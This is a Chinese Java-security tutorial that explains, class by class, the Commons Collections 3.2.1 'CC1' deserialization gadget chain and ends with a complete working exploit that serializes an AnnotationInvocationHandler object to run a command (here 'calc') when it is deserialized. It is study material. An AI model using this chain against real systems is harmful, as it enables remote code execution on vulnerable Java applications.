[Java安全入门]三.CC1链

1.前言

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强大的数据结构类型和实现了各种集合工具类。Commons Collections触发反序列化漏洞构造的链叫做cc链，构造方式多种，这里先学习cc1链。

2.环境

jdk-8u65

Commons Collections3.2.1

3.分析

3.1基础链子

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Cc1 {
    public static void main(String[] args) {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {null,new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        chain.transform(123);
    }
}

3.2分析几个重要的接口和类

Transformer接口

public interface Transformer {
    Object transform(Object var1);
}

这个接口其实就是一个转换器，完成不同的数据类型转换

ConstantTransformer类

public class ConstantTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

    public Object getConstant() {
        return this.iConstant;
    }
}

该类实现Transformer接口，其构造器将传入的参数传递给iConstant变量，类里面的transform方法将iConstant的值返回。如果传入参数是一个恶意对象，当调用transform的时候就可能会产生不好结果。

InvokerTransformer类

该类也实现了Transformer接口

看其构造器

 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

第一个参数为方法,第二个参数为传入的参数数组，第三个参数为对象数组

该类的transform方法可以执行任意方法

 public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

其中return method.invoke(input,iArgs)是实现反序列化漏洞的关键，通过放射获取input的类，然后调用该类的iMethodName方法。

ChainedTransformer类

ChainedTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 3514945074733160196L;

    /** The transformers to call in turn */
    private final Transformer[] iTransformers;

    /**
     * Factory method that performs validation and copies the parameter array.
     * 
     * @param transformers  the transformers to chain, copied, no nulls
     * @return the <code>chained</code> transformer
     * @throws IllegalArgumentException if the transformers array is null
     * @throws IllegalArgumentException if any transformer in the array is null
     */
    public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if (transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        }
        transformers = FunctorUtils.copy(transformers);
        return new ChainedTransformer(transformers);

该类也实现了Transformer接口

看其构造器

 public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

iTransformers为其传入的参数,是一个接口类型的数组

看其transform方法

  public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

该方法会遍历所有接口类型数组，然后调用其transform方法，并且结构作为下一次循环的参数

3.3过程分析

hainedTransformer chain = new ChainedTransformer(new Transformer[] ...）

最外层是实例化一个ChainedTransformer类，参数是一个Transformer接口类数组。

new ConstantTransformer(Runtime.class)

第一个类是ConstantTransformer，构造时传入了一个Runtime类，所以ConstantTransformer.iConstant=Runtime.class

new InvokerTransformer("getMethod", 
                        new Class[]
                        {String.class, Class[].class},
                        new Object[]
                                {"getRuntime", new Class[0]}
                      )

第二个类是InvokerTransformer类，构造时，方法名为传入的是getMethod，参数类型传入的是String类型和Class[]类型，参数为getRuntime和一个空的Class类型数组

new InvokerTransformer("invoke",
                            new Class[]
                        {Object.class, Object[].class},
                        new Object[]
                                {null,new Object[0]}
                      )

第三个类还是InvokerTransformer类，传入的方法名是invoke,参数类型是Object类型和Object数组类型，第一个参数是null，第二个参数是空的Object数组

 new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})}

第三个类还是InvokerTransformer类，传入的方法名是exec，参数类型是String类型，参数值是calc

chain.transform(123);

传入这些有transformer接口的类之后，执行ChainedTransformer里面的transform方法实现命令执行

仔细分析chain.transform方法

 public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

遍历传入所有类的transform方法

Ⅰ.执行ConstantTransformer.transform，返回Runtime.class Object=Runtime.class.

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

Ⅱ.执行InvokerTransformer.transform，input为Runtime.class，先反射获取这个类，Class cls=input.getClass(),然后cls就变成了Class类，无法直接通过getMethod获取getRuntime方法，所以通过嵌套，让method写成getMethod方法，然后invoke的时候再对Runtime.class调用getRuntime方法，这样object就变成了Runtime.getRuntime

Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

Ⅲ.input为Runtime.getRuntime，同样通过嵌套，先使method为invoke方法，然后再对 Runtime.getRuntime使用invoke(method)调用exec方法，参数为calc，然后弹出计算器

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

4.找利用链

4.1 TransformedMap

已知InvokerTransformer类可以调用transform方法执行命令，那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform方法,并且最终通过readObject重写进行反序列化

主要是其中三个Map类

先看TransformedMap

   protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }
   protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

两个方法都调用了transform方法，这里利用checkSetValue()

 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

构造器接受三个参数，第一个是Map类型，然后两个Transformer类型,Map可以利用在上一篇URLDNS里面利用的HashMap，其重写了readObject方法。

keyTransformer和valueTransformer都是protected类型，不能在外部调用，所以要找TransformedMap什么方法调用了构造函数

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

巧的是decorate调用了构造函数

然后找哪里调用了TransformedMap类的checkSetValue方法

发现在AbstractInputCheckedMapDecorator类的继承类Mapentry调用了checkSetValue

  static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

更好的是AbstractInputCheckedMapDecorator是TransformedMap类的父类

public class TransformedMap
        extends AbstractInputCheckedMapDecorator

AbstractMapEntryDecorator又引入了Map.Entry接口，只要进行常用的Map遍历，就可以调用setValue()，然后就能调用checkSetValue

4.2简单例子

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class Cc1 {
    public static void main(String[] args) throws  IllegalAccessException, NoSuchMethodException{
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        //先构造一个invoker
        HashMap hashMap=new HashMap();
        //用HashMap传入decorate
        hashMap.put(1,1);
        Map<Object,Object> transformedMap=TransformedMap.decorate(hashMap,null,invokerTransformer);
        //构造好TransformedMap，现在需要触发checkSetValue并把指令传进去

        Runtime cmd=Runtime.getRuntime();

        for(Map.Entry entry:transformedMap.entrySet())
        {
            entry.setValue(cmd);
        }
        //通过遍历Map，调用setValue触发checkSetValue


    }
}

然后再找哪里调用了setValue方法

发现 AnnotationInvocationHandler 类的readObject方法调用了setValue，非常nice

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

String name = memberValue.getKey();

AnnotationInvocationHandler 类并不是public类型，无法在外面通过名字调用，要用反射调用这个类

看构造函数

 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

接受两个参数，一个class对象，class对象继承了Annotation，需要传入一个注解类，另一个参数 Map对象，而且readObject里面有对map的遍历，所以可以传入我们的Transformed类

如何反射获取AnnotationInvocationHandler 类，看下面代码

  Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object annotationConstructor=constructor.newInstance(Target.class,transformedMap);

4.3三个问题

1.Runtime类不可以序列化

2.执行setValue需要满足两个条件

3.setValue的值如何控制

问题1.Runtime类不可以序列化，但是Class可以序列化，需要用反射,用我们之前最基础的链子即可

 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
 
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);

问题2.两个if条件

 if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) 

memberType 不为空，注解类传入target就不会空

问题3.利用ConstantTransformer传值解决

5.最终exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class Cc1 {
    public static void main(String[] args) throws  Exception {
        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组，然后调用transform方法，这里对象只需要传一个原始的Runtime就行，因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);


        Map<Object, Object> hashMap = new HashMap<>();
        //用HashMap传入decorate
        hashMap.put("value", 1);
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        //构造好TransformedMap，现在需要触发checkSetValue并把指令传进去

        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(obj);
        //序列化


        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化


        // Runtime cmd=Runtime.getRuntime();

        //for(Map.Entry entry:transformedMap.entrySet())
        //{
        //   entry.setValue(cmd);
        //}
        //通过遍历Map，调用setValue触发checkSetValue

    }
    }